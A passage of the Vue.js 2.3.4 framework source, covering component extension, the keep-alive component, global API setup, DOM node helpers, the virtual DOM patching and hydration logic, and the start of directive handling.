Sub.cid = cid++;
Sub.options = mergeOptions(
Super.options,
extendOptions
);
Sub['super'] = Super;
// For props and computed properties, we define the proxy getters on
// the Vue instances at extension time, on the extended prototype. This
// avoids Object.defineProperty calls for each instance created.
if (Sub.options.props) {
initProps$1(Sub);
}
if (Sub.options.computed) {
initComputed$1(Sub);
}
// allow further extension/mixin/plugin usage
Sub.extend = Super.extend;
Sub.mixin = Super.mixin;
Sub.use = Super.use;
// create asset registers, so extended classes
// can have their private assets too.
ASSET_TYPES.forEach(function (type) {
Sub[type] = Super[type];
});
// enable recursive self-lookup
if (name) {
Sub.options.components[name] = Sub;
}
// keep a reference to the super options at extension time.
// later at instantiation we can check if Super's options have
// been updated.
Sub.superOptions = Super.options;
Sub.extendOptions = extendOptions;
Sub.sealedOptions = extend({}, Sub.options);
// cache constructor
cachedCtors[SuperId] = Sub;
return Sub
};
}
function initProps$1 (Comp) {
var props = Comp.options.props;
for (var key in props) {
proxy(Comp.prototype, "_props", key);
}
}
function initComputed$1 (Comp) {
var computed = Comp.options.computed;
for (var key in computed) {
defineComputed(Comp.prototype, key, computed[key]);
}
}
/* */
function initAssetRegisters (Vue) {
/**
* Create asset registration methods.
*/
ASSET_TYPES.forEach(function (type) {
Vue[type] = function (
id,
definition
) {
if (!definition) {
return this.options[type + 's'][id]
} else {
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production') {
if (type === 'component' && config.isReservedTag(id)) {
warn(
'Do not use built-in or reserved HTML elements as component ' +
'id: ' + id
);
}
}
if (type === 'component' && isPlainObject(definition)) {
definition.name = definition.name || id;
definition = this.options._base.extend(definition);
}
if (type === 'directive' && typeof definition === 'function') {
definition = { bind: definition, update: definition };
}
this.options[type + 's'][id] = definition;
return definition
}
};
});
}
/* */
var patternTypes = [String, RegExp];
function getComponentName (opts) {
return opts && (opts.Ctor.options.name || opts.tag)
}
function matches (pattern, name) {
if (typeof pattern === 'string') {
return pattern.split(',').indexOf(name) > -1
} else if (isRegExp(pattern)) {
return pattern.test(name)
}
/* istanbul ignore next */
return false
}
function pruneCache (cache, current, filter) {
for (var key in cache) {
var cachedNode = cache[key];
if (cachedNode) {
var name = getComponentName(cachedNode.componentOptions);
if (name && !filter(name)) {
if (cachedNode !== current) {
pruneCacheEntry(cachedNode);
}
cache[key] = null;
}
}
}
}
function pruneCacheEntry (vnode) {
if (vnode) {
vnode.componentInstance.$destroy();
}
}
var KeepAlive = {
name: 'keep-alive',
abstract: true,
props: {
include: patternTypes,
exclude: patternTypes
},
created: function created () {
this.cache = Object.create(null);
},
destroyed: function destroyed () {
var this$1 = this;
for (var key in this$1.cache) {
pruneCacheEntry(this$1.cache[key]);
}
},
watch: {
include: function include (val) {
pruneCache(this.cache, this._vnode, function (name) { return matches(val, name); });
},
exclude: function exclude (val) {
pruneCache(this.cache, this._vnode, function (name) { return !matches(val, name); });
}
},
render: function render () {
var vnode = getFirstComponentChild(this.$slots.default);
var componentOptions = vnode && vnode.componentOptions;
if (componentOptions) {
// check pattern
var name = getComponentName(componentOptions);
if (name && (
(this.include && !matches(this.include, name)) ||
(this.exclude && matches(this.exclude, name))
)) {
return vnode
}
var key = vnode.key == null
// same constructor may get registered as different local components
// so cid alone is not enough (#3269)
? componentOptions.Ctor.cid + (componentOptions.tag ? ("::" + (componentOptions.tag)) : '')
: vnode.key;
if (this.cache[key]) {
vnode.componentInstance = this.cache[key].componentInstance;
} else {
this.cache[key] = vnode;
}
vnode.data.keepAlive = true;
}
return vnode
}
};
var builtInComponents = {
KeepAlive: KeepAlive
};
/* */
function initGlobalAPI (Vue) {
// config
var configDef = {};
configDef.get = function () { return config; };
if (process.env.NODE_ENV !== 'production') {
configDef.set = function () {
warn(
'Do not replace the Vue.config object, set individual fields instead.'
);
};
}
Object.defineProperty(Vue, 'config', configDef);
// exposed util methods.
// NOTE: these are not considered part of the public API - avoid relying on
// them unless you are aware of the risk.
Vue.util = {
warn: warn,
extend: extend,
mergeOptions: mergeOptions,
defineReactive: defineReactive$$1
};
Vue.set = set;
Vue.delete = del;
Vue.nextTick = nextTick;
Vue.options = Object.create(null);
ASSET_TYPES.forEach(function (type) {
Vue.options[type + 's'] = Object.create(null);
});
// this is used to identify the "base" constructor to extend all plain-object
// components with in Weex's multi-instance scenarios.
Vue.options._base = Vue;
extend(Vue.options.components, builtInComponents);
initUse(Vue);
initMixin$1(Vue);
initExtend(Vue);
initAssetRegisters(Vue);
}
initGlobalAPI(Vue$3);
Object.defineProperty(Vue$3.prototype, '$isServer', {
get: isServerRendering
});
Object.defineProperty(Vue$3.prototype, '$ssrContext', {
get: function get () {
/* istanbul ignore next */
return this.$vnode.ssrContext
}
});
Vue$3.version = '2.3.4';
/* */
// these are reserved for web because they are directly compiled away
// during template compilation
var isReservedAttr = makeMap('style,class');
// attributes that should be using props for binding
var acceptValue = makeMap('input,textarea,option,select');
var mustUseProp = function (tag, type, attr) {
return (
(attr === 'value' && acceptValue(tag)) && type !== 'button' ||
(attr === 'selected' && tag === 'option') ||
(attr === 'checked' && tag === 'input') ||
(attr === 'muted' && tag === 'video')
)
};
var isEnumeratedAttr = makeMap('contenteditable,draggable,spellcheck');
var isBooleanAttr = makeMap(
'allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,' +
'default,defaultchecked,defaultmuted,defaultselected,defer,disabled,' +
'enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,' +
'muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,' +
'required,reversed,scoped,seamless,selected,sortable,translate,' +
'truespeed,typemustmatch,visible'
);
var xlinkNS = 'http://www.w3.org/1999/xlink';
var isXlink = function (name) {
return name.charAt(5) === ':' && name.slice(0, 5) === 'xlink'
};
var getXlinkProp = function (name) {
return isXlink(name) ? name.slice(6, name.length) : ''
};
var isFalsyAttrValue = function (val) {
return val == null || val === false
};
/* */
function genClassForVnode (vnode) {
var data = vnode.data;
var parentNode = vnode;
var childNode = vnode;
while (isDef(childNode.componentInstance)) {
childNode = childNode.componentInstance._vnode;
if (childNode.data) {
data = mergeClassData(childNode.data, data);
}
}
while (isDef(parentNode = parentNode.parent)) {
if (parentNode.data) {
data = mergeClassData(data, parentNode.data);
}
}
return genClassFromData(data)
}
function mergeClassData (child, parent) {
return {
staticClass: concat(child.staticClass, parent.staticClass),
class: isDef(child.class)
? [child.class, parent.class]
: parent.class
}
}
function genClassFromData (data) {
var dynamicClass = data.class;
var staticClass = data.staticClass;
if (isDef(staticClass) || isDef(dynamicClass)) {
return concat(staticClass, stringifyClass(dynamicClass))
}
/* istanbul ignore next */
return ''
}
function concat (a, b) {
return a ? b ? (a + ' ' + b) : a : (b || '')
}
function stringifyClass (value) {
if (isUndef(value)) {
return ''
}
if (typeof value === 'string') {
return value
}
var res = '';
if (Array.isArray(value)) {
var stringified;
for (var i = 0, l = value.length; i < l; i++) {
if (isDef(value[i])) {
if (isDef(stringified = stringifyClass(value[i])) && stringified !== '') {
res += stringified + ' ';
}
}
}
return res.slice(0, -1)
}
if (isObject(value)) {
for (var key in value) {
if (value[key]) { res += key + ' '; }
}
return res.slice(0, -1)
}
/* istanbul ignore next */
return res
}
/* */
var namespaceMap = {
svg: 'http://www.w3.org/2000/svg',
math: 'http://www.w3.org/1998/Math/MathML'
};
var isHTMLTag = makeMap(
'html,body,base,head,link,meta,style,title,' +
'address,article,aside,footer,header,h1,h2,h3,h4,h5,h6,hgroup,nav,section,' +
'div,dd,dl,dt,figcaption,figure,hr,img,li,main,ol,p,pre,ul,' +
'a,b,abbr,bdi,bdo,br,cite,code,data,dfn,em,i,kbd,mark,q,rp,rt,rtc,ruby,' +
's,samp,small,span,strong,sub,sup,time,u,var,wbr,area,audio,map,track,video,' +
'embed,object,param,source,canvas,script,noscript,del,ins,' +
'caption,col,colgroup,table,thead,tbody,td,th,tr,' +
'button,datalist,fieldset,form,input,label,legend,meter,optgroup,option,' +
'output,progress,select,textarea,' +
'details,dialog,menu,menuitem,summary,' +
'content,element,shadow,template'
);
// this map is intentionally selective, only covering SVG elements that may
// contain child elements.
var isSVG = makeMap(
'svg,animate,circle,clippath,cursor,defs,desc,ellipse,filter,font-face,' +
'foreignObject,g,glyph,image,line,marker,mask,missing-glyph,path,pattern,' +
'polygon,polyline,rect,switch,symbol,text,textpath,tspan,use,view',
true
);
var isPreTag = function (tag) { return tag === 'pre'; };
var isReservedTag = function (tag) {
return isHTMLTag(tag) || isSVG(tag)
};
function getTagNamespace (tag) {
if (isSVG(tag)) {
return 'svg'
}
// basic support for MathML
// note it doesn't support other MathML elements being component roots
if (tag === 'math') {
return 'math'
}
}
var unknownElementCache = Object.create(null);
function isUnknownElement (tag) {
/* istanbul ignore if */
if (!inBrowser) {
return true
}
if (isReservedTag(tag)) {
return false
}
tag = tag.toLowerCase();
/* istanbul ignore if */
if (unknownElementCache[tag] != null) {
return unknownElementCache[tag]
}
var el = document.createElement(tag);
if (tag.indexOf('-') > -1) {
// http://stackoverflow.com/a/28210364/1070244
return (unknownElementCache[tag] = (
el.constructor === window.HTMLUnknownElement ||
el.constructor === window.HTMLElement
))
} else {
return (unknownElementCache[tag] = /HTMLUnknownElement/.test(el.toString()))
}
}
/* */
/**
* Query an element selector if it's not an element already.
*/
function query (el) {
if (typeof el === 'string') {
var selected = document.querySelector(el);
if (!selected) {
process.env.NODE_ENV !== 'production' && warn(
'Cannot find element: ' + el
);
return document.createElement('div')
}
return selected
} else {
return el
}
}
/* */
function createElement$1 (tagName, vnode) {
var elm = document.createElement(tagName);
if (tagName !== 'select') {
return elm
}
// false or null will remove the attribute but undefined will not
if (vnode.data && vnode.data.attrs && vnode.data.attrs.multiple !== undefined) {
elm.setAttribute('multiple', 'multiple');
}
return elm
}
function createElementNS (namespace, tagName) {
return document.createElementNS(namespaceMap[namespace], tagName)
}
function createTextNode (text) {
return document.createTextNode(text)
}
function createComment (text) {
return document.createComment(text)
}
function insertBefore (parentNode, newNode, referenceNode) {
parentNode.insertBefore(newNode, referenceNode);
}
function removeChild (node, child) {
node.removeChild(child);
}
function appendChild (node, child) {
node.appendChild(child);
}
function parentNode (node) {
return node.parentNode
}
function nextSibling (node) {
return node.nextSibling
}
function tagName (node) {
return node.tagName
}
function setTextContent (node, text) {
node.textContent = text;
}
function setAttribute (node, key, val) {
node.setAttribute(key, val);
}
var nodeOps = Object.freeze({
createElement: createElement$1,
createElementNS: createElementNS,
createTextNode: createTextNode,
createComment: createComment,
insertBefore: insertBefore,
removeChild: removeChild,
appendChild: appendChild,
parentNode: parentNode,
nextSibling: nextSibling,
tagName: tagName,
setTextContent: setTextContent,
setAttribute: setAttribute
});
/* */
var ref = {
create: function create (_, vnode) {
registerRef(vnode);
},
update: function update (oldVnode, vnode) {
if (oldVnode.data.ref !== vnode.data.ref) {
registerRef(oldVnode, true);
registerRef(vnode);
}
},
destroy: function destroy (vnode) {
registerRef(vnode, true);
}
};
function registerRef (vnode, isRemoval) {
var key = vnode.data.ref;
if (!key) { return }
var vm = vnode.context;
var ref = vnode.componentInstance || vnode.elm;
var refs = vm.$refs;
if (isRemoval) {
if (Array.isArray(refs[key])) {
remove(refs[key], ref);
} else if (refs[key] === ref) {
refs[key] = undefined;
}
} else {
if (vnode.data.refInFor) {
if (Array.isArray(refs[key]) && refs[key].indexOf(ref) < 0) {
refs[key].push(ref);
} else {
refs[key] = [ref];
}
} else {
refs[key] = ref;
}
}
}
/**
* Virtual DOM patching algorithm based on Snabbdom by
* Simon Friis Vindum (@paldepind)
* Licensed under the MIT License
* https://github.com/paldepind/snabbdom/blob/master/LICENSE
*
* modified by Evan You (@yyx990803)
*
/*
* Not type-checking this because this file is perf-critical and the cost
* of making flow understand it is not worth it.
*/
var emptyNode = new VNode('', {}, []);
var hooks = ['create', 'activate', 'update', 'remove', 'destroy'];
function sameVnode (a, b) {
return (
a.key === b.key &&
a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)
)
}
// Some browsers do not support dynamically changing type for <input>
// so they need to be treated as different nodes
function sameInputType (a, b) {
if (a.tag !== 'input') { return true }
var i;
var typeA = isDef(i = a.data) && isDef(i = i.attrs) && i.type;
var typeB = isDef(i = b.data) && isDef(i = i.attrs) && i.type;
return typeA === typeB
}
function createKeyToOldIdx (children, beginIdx, endIdx) {
var i, key;
var map = {};
for (i = beginIdx; i <= endIdx; ++i) {
key = children[i].key;
if (isDef(key)) { map[key] = i; }
}
return map
}
function createPatchFunction (backend) {
var i, j;
var cbs = {};
var modules = backend.modules;
var nodeOps = backend.nodeOps;
for (i = 0; i < hooks.length; ++i) {
cbs[hooks[i]] = [];
for (j = 0; j < modules.length; ++j) {
if (isDef(modules[j][hooks[i]])) {
cbs[hooks[i]].push(modules[j][hooks[i]]);
}
}
}
function emptyNodeAt (elm) {
return new VNode(nodeOps.tagName(elm).toLowerCase(), {}, [], undefined, elm)
}
function createRmCb (childElm, listeners) {
function remove$$1 () {
if (--remove$$1.listeners === 0) {
removeNode(childElm);
}
}
remove$$1.listeners = listeners;
return remove$$1
}
function removeNode (el) {
var parent = nodeOps.parentNode(el);
// element may have already been removed due to v-html / v-text
if (isDef(parent)) {
nodeOps.removeChild(parent, el);
}
}
var inPre = 0;
function createElm (vnode, insertedVnodeQueue, parentElm, refElm, nested) {
vnode.isRootInsert = !nested; // for transition enter check
if (createComponent(vnode, insertedVnodeQueue, parentElm, refElm)) {
return
}
var data = vnode.data;
var children = vnode.children;
var tag = vnode.tag;
if (isDef(tag)) {
if (process.env.NODE_ENV !== 'production') {
if (data && data.pre) {
inPre++;
}
if (
!inPre &&
!vnode.ns &&
!(config.ignoredElements.length && config.ignoredElements.indexOf(tag) > -1) &&
config.isUnknownElement(tag)
) {
warn(
'Unknown custom element: <' + tag + '> - did you ' +
'register the component correctly? For recursive components, ' +
'make sure to provide the "name" option.',
vnode.context
);
}
}
vnode.elm = vnode.ns
? nodeOps.createElementNS(vnode.ns, tag)
: nodeOps.createElement(tag, vnode);
setScope(vnode);
/* istanbul ignore if */
{
createChildren(vnode, children, insertedVnodeQueue);
if (isDef(data)) {
invokeCreateHooks(vnode, insertedVnodeQueue);
}
insert(parentElm, vnode.elm, refElm);
}
if (process.env.NODE_ENV !== 'production' && data && data.pre) {
inPre--;
}
} else if (isTrue(vnode.isComment)) {
vnode.elm = nodeOps.createComment(vnode.text);
insert(parentElm, vnode.elm, refElm);
} else {
vnode.elm = nodeOps.createTextNode(vnode.text);
insert(parentElm, vnode.elm, refElm);
}
}
function createComponent (vnode, insertedVnodeQueue, parentElm, refElm) {
var i = vnode.data;
if (isDef(i)) {
var isReactivated = isDef(vnode.componentInstance) && i.keepAlive;
if (isDef(i = i.hook) && isDef(i = i.init)) {
i(vnode, false /* hydrating */, parentElm, refElm);
}
// after calling the init hook, if the vnode is a child component
// it should've created a child instance and mounted it. the child
// component also has set the placeholder vnode's elm.
// in that case we can just return the element and be done.
if (isDef(vnode.componentInstance)) {
initComponent(vnode, insertedVnodeQueue);
if (isTrue(isReactivated)) {
reactivateComponent(vnode, insertedVnodeQueue, parentElm, refElm);
}
return true
}
}
}
function initComponent (vnode, insertedVnodeQueue) {
if (isDef(vnode.data.pendingInsert)) {
insertedVnodeQueue.push.apply(insertedVnodeQueue, vnode.data.pendingInsert);
vnode.data.pendingInsert = null;
}
vnode.elm = vnode.componentInstance.$el;
if (isPatchable(vnode)) {
invokeCreateHooks(vnode, insertedVnodeQueue);
setScope(vnode);
} else {
// empty component root.
// skip all element-related modules except for ref (#3455)
registerRef(vnode);
// make sure to invoke the insert hook
insertedVnodeQueue.push(vnode);
}
}
function reactivateComponent (vnode, insertedVnodeQueue, parentElm, refElm) {
var i;
// hack for #4339: a reactivated component with inner transition
// does not trigger because the inner node's created hooks are not called
// again. It's not ideal to involve module-specific logic in here but
// there doesn't seem to be a better way to do it.
var innerNode = vnode;
while (innerNode.componentInstance) {
innerNode = innerNode.componentInstance._vnode;
if (isDef(i = innerNode.data) && isDef(i = i.transition)) {
for (i = 0; i < cbs.activate.length; ++i) {
cbs.activate[i](emptyNode, innerNode);
}
insertedVnodeQueue.push(innerNode);
break
}
}
// unlike a newly created component,
// a reactivated keep-alive component doesn't insert itself
insert(parentElm, vnode.elm, refElm);
}
function insert (parent, elm, ref) {
if (isDef(parent)) {
if (isDef(ref)) {
if (ref.parentNode === parent) {
nodeOps.insertBefore(parent, elm, ref);
}
} else {
nodeOps.appendChild(parent, elm);
}
}
}
function createChildren (vnode, children, insertedVnodeQueue) {
if (Array.isArray(children)) {
for (var i = 0; i < children.length; ++i) {
createElm(children[i], insertedVnodeQueue, vnode.elm, null, true);
}
} else if (isPrimitive(vnode.text)) {
nodeOps.appendChild(vnode.elm, nodeOps.createTextNode(vnode.text));
}
}
function isPatchable (vnode) {
while (vnode.componentInstance) {
vnode = vnode.componentInstance._vnode;
}
return isDef(vnode.tag)
}
function invokeCreateHooks (vnode, insertedVnodeQueue) {
for (var i$1 = 0; i$1 < cbs.create.length; ++i$1) {
cbs.create[i$1](emptyNode, vnode);
}
i = vnode.data.hook; // Reuse variable
if (isDef(i)) {
if (isDef(i.create)) { i.create(emptyNode, vnode); }
if (isDef(i.insert)) { insertedVnodeQueue.push(vnode); }
}
}
// set scope id attribute for scoped CSS.
// this is implemented as a special case to avoid the overhead
// of going through the normal attribute patching process.
function setScope (vnode) {
var i;
var ancestor = vnode;
while (ancestor) {
if (isDef(i = ancestor.context) && isDef(i = i.$options._scopeId)) {
nodeOps.setAttribute(vnode.elm, i, '');
}
ancestor = ancestor.parent;
}
// for slot content they should also get the scopeId from the host instance.
if (isDef(i = activeInstance) &&
i !== vnode.context &&
isDef(i = i.$options._scopeId)
) {
nodeOps.setAttribute(vnode.elm, i, '');
}
}
function addVnodes (parentElm, refElm, vnodes, startIdx, endIdx, insertedVnodeQueue) {
for (; startIdx <= endIdx; ++startIdx) {
createElm(vnodes[startIdx], insertedVnodeQueue, parentElm, refElm);
}
}
function invokeDestroyHook (vnode) {
var i, j;
var data = vnode.data;
if (isDef(data)) {
if (isDef(i = data.hook) && isDef(i = i.destroy)) { i(vnode); }
for (i = 0; i < cbs.destroy.length; ++i) { cbs.destroy[i](vnode); }
}
if (isDef(i = vnode.children)) {
for (j = 0; j < vnode.children.length; ++j) {
invokeDestroyHook(vnode.children[j]);
}
}
}
function removeVnodes (parentElm, vnodes, startIdx, endIdx) {
for (; startIdx <= endIdx; ++startIdx) {
var ch = vnodes[startIdx];
if (isDef(ch)) {
if (isDef(ch.tag)) {
removeAndInvokeRemoveHook(ch);
invokeDestroyHook(ch);
} else { // Text node
removeNode(ch.elm);
}
}
}
}
function removeAndInvokeRemoveHook (vnode, rm) {
if (isDef(rm) || isDef(vnode.data)) {
var i;
var listeners = cbs.remove.length + 1;
if (isDef(rm)) {
// we have a recursively passed down rm callback
// increase the listeners count
rm.listeners += listeners;
} else {
// directly removing
rm = createRmCb(vnode.elm, listeners);
}
// recursively invoke hooks on child component root node
if (isDef(i = vnode.componentInstance) && isDef(i = i._vnode) && isDef(i.data)) {
removeAndInvokeRemoveHook(i, rm);
}
for (i = 0; i < cbs.remove.length; ++i) {
cbs.remove[i](vnode, rm);
}
if (isDef(i = vnode.data.hook) && isDef(i = i.remove)) {
i(vnode, rm);
} else {
rm();
}
} else {
removeNode(vnode.elm);
}
}
function updateChildren (parentElm, oldCh, newCh, insertedVnodeQueue, removeOnly) {
var oldStartIdx = 0;
var newStartIdx = 0;
var oldEndIdx = oldCh.length - 1;
var oldStartVnode = oldCh[0];
var oldEndVnode = oldCh[oldEndIdx];
var newEndIdx = newCh.length - 1;
var newStartVnode = newCh[0];
var newEndVnode = newCh[newEndIdx];
var oldKeyToIdx, idxInOld, elmToMove, refElm;
// removeOnly is a special flag used only by <transition-group>
// to ensure removed elements stay in correct relative positions
// during leaving transitions
var canMove = !removeOnly;
while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
if (isUndef(oldStartVnode)) {
oldStartVnode = oldCh[++oldStartIdx]; // Vnode has been moved left
} else if (isUndef(oldEndVnode)) {
oldEndVnode = oldCh[--oldEndIdx];
} else if (sameVnode(oldStartVnode, newStartVnode)) {
patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
oldStartVnode = oldCh[++oldStartIdx];
newStartVnode = newCh[++newStartIdx];
} else if (sameVnode(oldEndVnode, newEndVnode)) {
patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
oldEndVnode = oldCh[--oldEndIdx];
newEndVnode = newCh[--newEndIdx];
} else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right
patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
canMove && nodeOps.insertBefore(parentElm, oldStartVnode.elm, nodeOps.nextSibling(oldEndVnode.elm));
oldStartVnode = oldCh[++oldStartIdx];
newEndVnode = newCh[--newEndIdx];
} else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left
patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
canMove && nodeOps.insertBefore(parentElm, oldEndVnode.elm, oldStartVnode.elm);
oldEndVnode = oldCh[--oldEndIdx];
newStartVnode = newCh[++newStartIdx];
} else {
if (isUndef(oldKeyToIdx)) { oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx); }
idxInOld = isDef(newStartVnode.key) ? oldKeyToIdx[newStartVnode.key] : null;
if (isUndef(idxInOld)) { // New element
createElm(newStartVnode, insertedVnodeQueue, parentElm, oldStartVnode.elm);
newStartVnode = newCh[++newStartIdx];
} else {
elmToMove = oldCh[idxInOld];
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && !elmToMove) {
warn(
'It seems there are duplicate keys that is causing an update error. ' +
'Make sure each v-for item has a unique key.'
);
}
if (sameVnode(elmToMove, newStartVnode)) {
patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
oldCh[idxInOld] = undefined;
canMove && nodeOps.insertBefore(parentElm, newStartVnode.elm, oldStartVnode.elm);
newStartVnode = newCh[++newStartIdx];
} else {
// same key but different element. treat as new element
createElm(newStartVnode, insertedVnodeQueue, parentElm, oldStartVnode.elm);
newStartVnode = newCh[++newStartIdx];
}
}
}
}
if (oldStartIdx > oldEndIdx) {
refElm = isUndef(newCh[newEndIdx + 1]) ? null : newCh[newEndIdx + 1].elm;
addVnodes(parentElm, refElm, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
} else if (newStartIdx > newEndIdx) {
removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
}
}
function patchVnode (oldVnode, vnode, insertedVnodeQueue, removeOnly) {
if (oldVnode === vnode) {
return
}
// reuse element for static trees.
// note we only do this if the vnode is cloned -
// if the new node is not cloned it means the render functions have been
// reset by the hot-reload-api and we need to do a proper re-render.
if (isTrue(vnode.isStatic) &&
isTrue(oldVnode.isStatic) &&
vnode.key === oldVnode.key &&
(isTrue(vnode.isCloned) || isTrue(vnode.isOnce))
) {
vnode.elm = oldVnode.elm;
vnode.componentInstance = oldVnode.componentInstance;
return
}
var i;
var data = vnode.data;
if (isDef(data) && isDef(i = data.hook) && isDef(i = i.prepatch)) {
i(oldVnode, vnode);
}
var elm = vnode.elm = oldVnode.elm;
var oldCh = oldVnode.children;
var ch = vnode.children;
if (isDef(data) && isPatchable(vnode)) {
for (i = 0; i < cbs.update.length; ++i) { cbs.update[i](oldVnode, vnode); }
if (isDef(i = data.hook) && isDef(i = i.update)) { i(oldVnode, vnode); }
}
if (isUndef(vnode.text)) {
if (isDef(oldCh) && isDef(ch)) {
if (oldCh !== ch) { updateChildren(elm, oldCh, ch, insertedVnodeQueue, removeOnly); }
} else if (isDef(ch)) {
if (isDef(oldVnode.text)) { nodeOps.setTextContent(elm, ''); }
addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
} else if (isDef(oldCh)) {
removeVnodes(elm, oldCh, 0, oldCh.length - 1);
} else if (isDef(oldVnode.text)) {
nodeOps.setTextContent(elm, '');
}
} else if (oldVnode.text !== vnode.text) {
nodeOps.setTextContent(elm, vnode.text);
}
if (isDef(data)) {
if (isDef(i = data.hook) && isDef(i = i.postpatch)) { i(oldVnode, vnode); }
}
}
function invokeInsertHook (vnode, queue, initial) {
// delay insert hooks for component root nodes, invoke them after the
// element is really inserted
if (isTrue(initial) && isDef(vnode.parent)) {
vnode.parent.data.pendingInsert = queue;
} else {
for (var i = 0; i < queue.length; ++i) {
queue[i].data.hook.insert(queue[i]);
}
}
}
var bailed = false;
// list of modules that can skip create hook during hydration because they
// are already rendered on the client or has no need for initialization
var isRenderedModule = makeMap('attrs,style,class,staticClass,staticStyle,key');
// Note: this is a browser-only function so we can assume elms are DOM nodes.
function hydrate (elm, vnode, insertedVnodeQueue) {
if (process.env.NODE_ENV !== 'production') {
if (!assertNodeMatch(elm, vnode)) {
return false
}
}
vnode.elm = elm;
var tag = vnode.tag;
var data = vnode.data;
var children = vnode.children;
if (isDef(data)) {
if (isDef(i = data.hook) && isDef(i = i.init)) { i(vnode, true /* hydrating */); }
if (isDef(i = vnode.componentInstance)) {
// child component. it should have hydrated its own tree.
initComponent(vnode, insertedVnodeQueue);
return true
}
}
if (isDef(tag)) {
if (isDef(children)) {
// empty element, allow client to pick up and populate children
if (!elm.hasChildNodes()) {
createChildren(vnode, children, insertedVnodeQueue);
} else {
var childrenMatch = true;
var childNode = elm.firstChild;
for (var i$1 = 0; i$1 < children.length; i$1++) {
if (!childNode || !hydrate(childNode, children[i$1], insertedVnodeQueue)) {
childrenMatch = false;
break
}
childNode = childNode.nextSibling;
}
// if childNode is not null, it means the actual childNodes list is
// longer than the virtual children list.
if (!childrenMatch || childNode) {
if (process.env.NODE_ENV !== 'production' &&
typeof console !== 'undefined' &&
!bailed
) {
bailed = true;
console.warn('Parent: ', elm);
console.warn('Mismatching childNodes vs. VNodes: ', elm.childNodes, children);
}
return false
}
}
}
if (isDef(data)) {
for (var key in data) {
if (!isRenderedModule(key)) {
invokeCreateHooks(vnode, insertedVnodeQueue);
break
}
}
}
} else if (elm.data !== vnode.text) {
elm.data = vnode.text;
}
return true
}
function assertNodeMatch (node, vnode) {
if (isDef(vnode.tag)) {
return (
vnode.tag.indexOf('vue-component') === 0 ||
vnode.tag.toLowerCase() === (node.tagName && node.tagName.toLowerCase())
)
} else {
return node.nodeType === (vnode.isComment ? 8 : 3)
}
}
return function patch (oldVnode, vnode, hydrating, removeOnly, parentElm, refElm) {
if (isUndef(vnode)) {
if (isDef(oldVnode)) { invokeDestroyHook(oldVnode); }
return
}
var isInitialPatch = false;
var insertedVnodeQueue = [];
if (isUndef(oldVnode)) {
// empty mount (likely as component), create new root element
isInitialPatch = true;
createElm(vnode, insertedVnodeQueue, parentElm, refElm);
} else {
var isRealElement = isDef(oldVnode.nodeType);
if (!isRealElement && sameVnode(oldVnode, vnode)) {
// patch existing root node
patchVnode(oldVnode, vnode, insertedVnodeQueue, removeOnly);
} else {
if (isRealElement) {
// mounting to a real element
// check if this is server-rendered content and if we can perform
// a successful hydration.
if (oldVnode.nodeType === 1 && oldVnode.hasAttribute(SSR_ATTR)) {
oldVnode.removeAttribute(SSR_ATTR);
hydrating = true;
}
if (isTrue(hydrating)) {
if (hydrate(oldVnode, vnode, insertedVnodeQueue)) {
invokeInsertHook(vnode, insertedVnodeQueue, true);
return oldVnode
} else if (process.env.NODE_ENV !== 'production') {
warn(
'The client-side rendered virtual DOM tree is not matching ' +
'server-rendered content. This is likely caused by incorrect ' +
'HTML markup, for example nesting block-level elements inside ' +
'<p>, or missing <tbody>. Bailing hydration and performing ' +
'full client-side render.'
);
}
}
// either not server-rendered, or hydration failed.
// create an empty node and replace it
oldVnode = emptyNodeAt(oldVnode);
}
// replacing existing element
var oldElm = oldVnode.elm;
var parentElm$1 = nodeOps.parentNode(oldElm);
createElm(
vnode,
insertedVnodeQueue,
// extremely rare edge case: do not insert if old element is in a
// leaving transition. Only happens when combining transition +
// keep-alive + HOCs. (#4590)
oldElm._leaveCb ? null : parentElm$1,
nodeOps.nextSibling(oldElm)
);
if (isDef(vnode.parent)) {
// component root element replaced.
// update parent placeholder node element, recursively
var ancestor = vnode.parent;
while (ancestor) {
ancestor.elm = vnode.elm;
ancestor = ancestor.parent;
}
if (isPatchable(vnode)) {
for (var i = 0; i < cbs.create.length; ++i) {
cbs.create[i](emptyNode, vnode.parent);
}
}
}
if (isDef(parentElm$1)) {
removeVnodes(parentElm$1, [oldVnode], 0, 0);
} else if (isDef(oldVnode.tag)) {
invokeDestroyHook(oldVnode);
}
}
}
invokeInsertHook(vnode, insertedVnodeQueue, isInitialPatch);
return vnode.elm
}
}
/* */
var directives = {
create: updateDirectives,
update: updateDirectives,
destroy: function unbindDirectives (vnode) {
updateDirectives(vnode, emptyNode);
}
};
function updateDirectives (oldVnode, vnode) {
if (oldVnode.data.directives || vnode.data.directives) {
_update(oldVnode, vnode);
}
}
function _update (oldVnode, vnode) {
var isCreate = oldVnode === emptyNode;
var isDestroy = vnode === emptyNode;
var oldDirs = normalizeDirectives$1(oldVnode.data.directives, oldVnode.context);
var newDirs = normalizeDirectives$1(vnode.data.directives, vnode.context);
var dirsWithInsert = [];
var dirsWithPostpatch = [];
var key, oldDir, dir;
for (key in newDirs) {
oldDir = oldDirs[key];
dir = newDirs[key];
if (!oldDir) {
// new directive, bind
callHook$1(dir, 'bind', vnode, oldVnode);
if (dir.def && dir.def.inserted) {
dirsWithInsert.push(dir);
}
} else {
// existing directive, update
dir.oldValue = oldDir.value;
callHook$1(dir, 'update', vnode, oldVnode);
if (dir.def && dir.def.componentUpdated) {
dirsWithPostpatch.push(dir);
}
}
}
